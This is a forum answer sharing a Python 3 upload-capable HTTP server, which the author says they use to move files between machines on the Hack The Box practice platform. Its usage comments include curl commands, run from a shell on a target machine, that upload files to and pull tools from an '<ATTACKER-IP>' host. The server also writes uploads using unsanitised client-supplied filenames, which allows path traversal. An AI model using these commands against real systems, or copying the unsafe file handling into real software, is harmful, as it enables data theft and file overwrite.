Python SimpleHTTPServer to receive files

2019 update: I was looking for this capability today while playing on hackthebox.eu. I'm not too flash on Python, but I ended up taking this example and porting it across to Python 3 seeing as Python 2 is basically dead at this point.

Hope this helps anyone looking for this in 2019, and I'm always happy to hear about ways I can improve the code. Get it at https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

Thanks to the question asker, and those that commented with info!

Edit: I was asked to paste the code, no worries. I've stripped some comments from brevity, so here's some notes:

1. Based on a gist by bones7456 because attribution matters.
2. I stripped out the HTML from the responses because I didn't need it for my use case.
3. Use this out in the wild at your own risk. I use it to move files around between servers on HTB so it's basically a toy in its current form.
4. Hack the planet etc.

Run the script from your attack device in the folder holding your tools/data, or a box that you're pivoting off. Connect to it from the target PC to simply and conveniently push files back and forth.

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

Code:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

curl and request have a slightly different header, curl has an additional empty line while requests doesn't.

Replace preline = self.rfile.readline() with the following block

if line.strip():
    preline = line
else:
    preline = self.rfile.readline()